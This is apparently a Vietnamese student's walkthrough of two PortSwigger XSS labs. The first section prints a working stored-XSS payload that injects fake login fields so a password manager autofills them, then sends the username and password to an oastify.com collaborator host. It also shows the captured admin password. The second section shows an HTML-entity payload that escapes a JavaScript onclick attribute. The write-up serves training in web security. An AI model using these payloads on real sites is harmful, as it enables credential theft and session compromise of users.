# Bài 1: Exploiting cross-site scripting to capture passwords:

# Bài này là lỗi Stored XSS. Mình thử vào 1 bài viết và bình luận thử.

# Ứng dụng đã phản hồi sau: <p>I love you</p>

# Thử <script>alert(1)</script> 🡪 ứng dụng đã bị lỗi XSS.

# Do người dùng sử dụng password manager để tự động điền mk.

# Bạn có thể lợi dụng điều này bằng cách tạo 2 input user và pass.

# Khi đầu vào bị thay đổi nó lập tức yêu cầu đến máy chủ của kẻ tấn công (burp collaborator)

<input id="u" type="text" name="username">

<input id="p" type="password" name="password">

<script>

var userElement=document.querySelector('#u')

var passElement=document.querySelector('#p')

userElement.onchange=function(e){

new Image().src = "https://i9sxz8a8aqcnnykb9q84ivzce3kt8i.oastify.com/?user="+userElement.value

}

passElement.onchange=function(e){

new Image().src = "https://i9sxz8a8aqcnnykb9q84ivzce3kt8i.oastify.com/?pass="+passElement.value

}

</script>

/?user=administrator

/?pass=gtjax3zjjh1vcb5o55jl 🡪Thành công

# Bài 2: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and

# single quotes and backslash escaped:

# Bài toán này có lỗ hổng Stored XSS trong chức năng bình luận.

Trong phần bình luận, có 4 đầu vào: comment, tên, mail, website.

Comment: <>

Tên: nguyen dang hieu

Mail: caiphandeptrai@gmail.com

Website: http://portswigger.net/

Ứng dụng phản hồi như sau:

<p>

<img src="/resources/images/avatarDefault.svg" class="avatar">

<a id="author" href="https://portswigger.net/"

onclick="var tracker={track(){}};tracker.track('https://portswigger.net/');">

nguyen dang hieu

</a> | 20 November 2022

</p>

<p>

&lt;&gt;

</p>

Có vẻ như tất cả input đã mã hóa html những kí tự sau: <, >, “ và thêm \ trước ‘.

Nhưng khi bối cảnh XSS là Javascript trong thuộc tính, có thể sử dụng mã hóa html để bỏ qua bộ lọc. Ta sẽ tiêm payload sau vào input website:

https://portswigger.net/&apos;-alert(document.domain)-&apos;

Lúc này ứng dụng sẽ phản hồi sau:

<a id="author" href="https://portswigger.net/"

onclick="var tracker={track(){}};tracker.track('https://portswigger.net/’-alert(document.domain)-‘');"> 🡪 thực thi Javascript thành công.